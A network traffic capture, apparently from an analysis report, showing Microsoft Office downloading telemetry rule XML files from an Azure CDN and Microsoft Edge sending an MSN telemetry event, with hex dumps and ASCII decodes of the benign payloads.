2024-11-28 05:48:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:55 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:55 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054855Z-174f7845968kvnqxhC1EWRmf3g0000000gvg000000004ea7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:55 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054856Z-174f7845968psccphC1EWRuz9s0000000yc0000000000916 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:57 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 0f0f185b-001e-0065-4a37-400b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054857Z-174f78459685m244hC1EWRgp2c0000000xy0000000001fbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:57 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054857Z-174f7845968l4kp6hC1EWRe8840000000y6000000000d3r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: f510ddc6-f01e-0000-2f4a-40193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054857Z-174f7845968ljs8phC1EWRe6en0000000xtg00000000bu2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:57 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:57 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:57 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054857Z-174f7845968xr5c2hC1EWRd0hn0000000es000000000fwbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49891	52.182.143.215	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:57 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732772904000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4331 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0798923BA9C86A150022877EA8BA6BFE; _EDGE_S=F=1&SID=1D731EC370A46D5930E00B8671DE6CB8; _EDGE_V=1
2024-11-28 05:48:57 UTC	4331	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 30 35 3a 34 38 3a 32 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-28T05:48:24Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-11-28 05:48:58 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6797591eb005436f81789fc794590b49&HASH=6797&LV=202411&V=4&LU=1732772937843; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 05:48:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e4ea7daa233642f5a603486a7599ddbc; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 06:18:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 33843 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 05:48:57 GMT Connection: close
2024-11-28 05:48:58 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 36 37 39 37 35 39 31 65 62 30 30 35 34 33 36 66 38 31 37 38 39 66 63 37 39 34 35 39 30 62 34 39 26 48 41 53 48 3d 36 37 39 37 26 4c 56 3d 32 30 32 34 31 31 26 56 3d 34 26 4c 55 3d 31 37 33 32 37 37 32 39 33 37 38 34 33 22 2c 22 6d 63 31 22 3a 22 36 37 39 37 35 39 31 65 62 30 30 35 34 33 36 66 38 31 37 38 39 66 63 37 39 34 35 39 30 62 34 39 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=6797591eb005436f81789fc794590b49&HASH=6797&LV=202411&V=4&LU=1732772937843","mc1":"6797591eb005436f81789fc794590b49"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:58 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1a9a61cd-601e-0070-6771-40a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054858Z-174f78459684bddphC1EWRbht40000000xu000000000380m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:59 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:59 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054859Z-174f7845968cpnpfhC1EWR3afc0000000xm000000000audu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:59 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:59 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:59 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:59 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 2bd9d4ea-701e-0032-154e-41a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054859Z-174f7845968vqt9xhC1EWRgten0000000xyg00000000fsdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:59 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:59 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:59 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4fade03f-801e-007b-1115-41e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054859Z-174f7845968n2hr8hC1EWR9cag0000000xhg00000000hr5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
